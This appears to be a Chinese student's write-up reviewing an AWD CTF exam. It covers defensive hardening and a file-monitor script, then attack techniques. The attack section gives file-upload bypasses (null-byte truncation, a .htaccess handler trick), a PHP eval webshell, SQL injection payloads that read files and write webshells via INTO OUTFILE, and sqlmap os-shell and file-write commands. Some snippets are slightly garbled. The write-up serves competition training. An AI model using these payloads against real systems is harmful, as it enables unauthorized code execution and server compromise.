0%

云曦期末awd复现

前言:

考核防御阶段的时候,download文件也没download下来没第一时间放入D盾中扫描,且mysql数据库的配置没改对一直宕机,在攻击时花了半个小时的时间修复导致丢了大部分分,心态有点崩开始搅屎删库。同时考核前的准备太少脚本没有准备好,不死马也没有测好,导致攻击时还在进行各种测试。整场考核下来是这学期发挥最烂的一次各种基础失误,所以考核后开始进行复现(侧重攻击)。(未完)

一、防御

小tip:连上ssh后可以先给自己上一个马,用蚁剑连接,用户是www-data,权限更高一点

1、备份源码

如果能直接拖那就直接将app给拖出去

如果不行那就得用命令打包

1
2
3
4
5
6
//查看当前目录
pwd
//打包app目录
tar -zcvf app.tar.gz /app
//将压缩包拖出后在window解压
tar -zxvf app.tar.gz

2、备份数据库

1
2
3
4
5
6
//备份特定数据库
mysqldump –u username –p password databasename > target.sql
//备份所有数据库
mysqldump –all -databases > target.sql
//导入
mysql –u username –p password database < target.sql

3、改ssh密码

1
2
passwd 
passwd [user]

4、改sql密码及配置

改密码

1
2
3
4
5
6
7
8
//进入mysql
mysql -uroot -proot
//更改密码
update mysql.user set password=password('glgglg0458') where user='root';
//更新修改
flush privileges;
//退出
exit

找到配置文件改配置

注:需要关注是否宕机了,如果是在攻击阶段才能查看如果宕机了建议直接重置然后不要修改直接开打

5、后门

将源码拖进D盾里扫描

连接vscode(如果不能连接直接将源码拖进vscode),在vscode里修改(如果连不上那就直接在ssh工具里用自带编辑器修改)

发现扫出两个后门

news.php

func.php

如果宕机了说明是功能点不能直接注释,此时就需要将$c改为$host并增加限制(此处check脚本里没有要求直接注释即可)

除了这两个后门还有一些后门是扫不出来的需要自己翻源码查看

可以通过搜索eval、system等命令执行函数,也可以通过搜索GET、POST、REQUEST、COOKIE等请求参数

这边发现了member-list.php里也有后门直接注释

6、防止上传木马

网上找了一个脚本进行魔改https://github.com/LiuTianzheng/FileMonitor-for-AWD,将其放在app目录运行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import os
import sys
import time
import random
import string

def generate_random_str(randomlength=16):
# 生成一个指定长度的随机字符串
str_list = [random.choice(string.digits + string.ascii_letters) for i in range(randomlength)]
random_str = ''.join(str_list)
return random_str

def get_filelist(dir, Filelist):
# 遍历文件夹及其子文件夹中的文件,并存储在一个列表中
newDir = dir
if os.path.isfile(dir):
Filelist.append(dir)
elif os.path.isdir(dir):
for s in os.listdir(dir):
newDir = os.path.join(dir, s)
get_filelist(newDir, Filelist)
return Filelist

def check_newfiles(old_list, path):
# 检测新文件,将新文件后缀重命名
try:
new_list = get_filelist(path, [])
for i in new_list:
if old_list.count(i) == 0:
tmp_str = generate_random_str()
tmp_name = str(i) + ".drop" + str(tmp_str)
os.rename(i, tmp_name)
except Exception as e:
print("Error occurred: {}".format(e))

if __name__ == '__main__':
path = r'./'
a_list = get_filelist(path, [])

while True:
check_newfiles(a_list, path)
time.sleep(2)

但是这个脚本我只能用蚁剑连接的时候运行可以成功,在ssh工具运行就卡住了。

此时再次上传文件会发现后缀已经改变了

二、攻击

基础的后门大多都被注释了,所以这里的思路是根据防御时候找到的文件上传和sql注入作为攻击点

1、扫描端口

1
nmap 172.16.17.202 -p 10000-20000

2、文件上传

首先在源码里找到文件上传的利用点,发现只允许上传图片和.htaccess文件

所以我们需要绕过这个后缀限制

法一:00截断(仅适用于php版本小于5.3.4)(上午的时候可以,下午的时候版本就已经调整了)

上传1.php(0x00).jpg

法二:上传.htaccess

1
2
3
4
//.htaccess
AddType application/x-httped-php .png .jpg
//1.jpg
<?php @eval($_REQUEST['a']);?>

由于代码中没有给出.htaccess的文件类型所以我们得要用bp抓包修改content-type

此时上传的jpg文件就可以被当作php执行了

编写批量上传文件脚本

sql读文件

1
2
3
4
5
6
7
8
-1 union select 1,2,3,load_file('C/windows/service.inf'),5,6,7
-1 union select 1,2,3,
,5,6,7

-1 union select 1,2,3,load_file('D/XamppNew/htdocs/scurity/common.php'),5,6,7

http://192.168.88.130/security/read.php?id=-1 union
select 1,2,3,(select load_file("/opt/lampp/htdocs/security/common.php")),5,6,7

sql写文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
-1 union select 1,2,3,4,5,6,"<?php phpinfo(); ?>" into 
outfile 'D/XamppNew/htdocs/scurity/muma.php'

http://192.168.88.130/security/read.php?id=-1 union
select 1,2,3,"HelloWorld",5,6,7 into outfile "/opt/lampp/htdocs/security/temp/muma.php"

# 尝试得到列数量,然后注入一次,访问是否注入成功

-1 unionselect1,2,3,4,5,6,"<?php eval($_POST['a']);?> into
outfile 'D/XamppNew/htdocs/scurity/muma.php'

一句话木马:
<?php @eval($_GET['a']);?>

eval可以将一段字符串当成代码来执行,如果用户可以直接将这段有效代码传入后台,则可以执行任意命令

http://192.168.88.130/security/temp/muma2.php?a=echo date("Y-m-d H:i:s");
http://192.168.88.130/security/temp/muma2.php?a=phpinfo();
http://192.168.88.130/security/temp/muma2.php?a=system('ip addr');
1
2
3
4
5
6
--os-shell

--web-root="[绝对路径]" //需要上传木马的目录

sqlmap.py -u http://127.0.0.1/sqli-labs/Less-2/?id=1 --file-write C:\Users\system32\Desktop\text.php --file-dest "C:\phpStudy\PHPTutorial\WWW\test.php"